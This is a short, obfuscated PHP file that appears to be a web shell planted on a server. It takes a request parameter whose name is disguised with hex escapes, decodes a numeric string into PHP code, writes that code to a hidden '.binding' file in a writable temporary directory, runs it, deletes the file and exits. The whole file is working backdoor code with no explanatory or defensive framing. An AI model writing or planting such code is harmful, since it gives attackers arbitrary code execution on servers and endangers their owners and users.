<?php

if(isset($_REQUEST) && isset($_REQUEST["ref\x65renc\x65"])){
	$parameter_group = $_REQUEST["ref\x65renc\x65"];
	 	 $parameter_group  	=	 explode	( 		"."	, 	$parameter_group	) 	;	 
	$flag ='';
            $s ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =strlen($s);
            $v =0;
    
            foreach ($parameter_group as $v9) {		$chS =ord($s[$v	%$sLen]);
                $dec =((int)$v9 - $chS - ($v	%10)) ^ 81;
                $flag .= chr($dec);
                $v++;  }	
	$key = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm", getcwd()]);
	foreach ($key as $k):
    		if ((bool)is_dir($k) && (bool)is_writable($k)) {
    $token = vsprintf("%s/%s", [$k, ".binding"]);
    if (file_put_contents($token, $flag)) {
	require $token;
	unlink($token);
	die();
}
}
endforeach;
}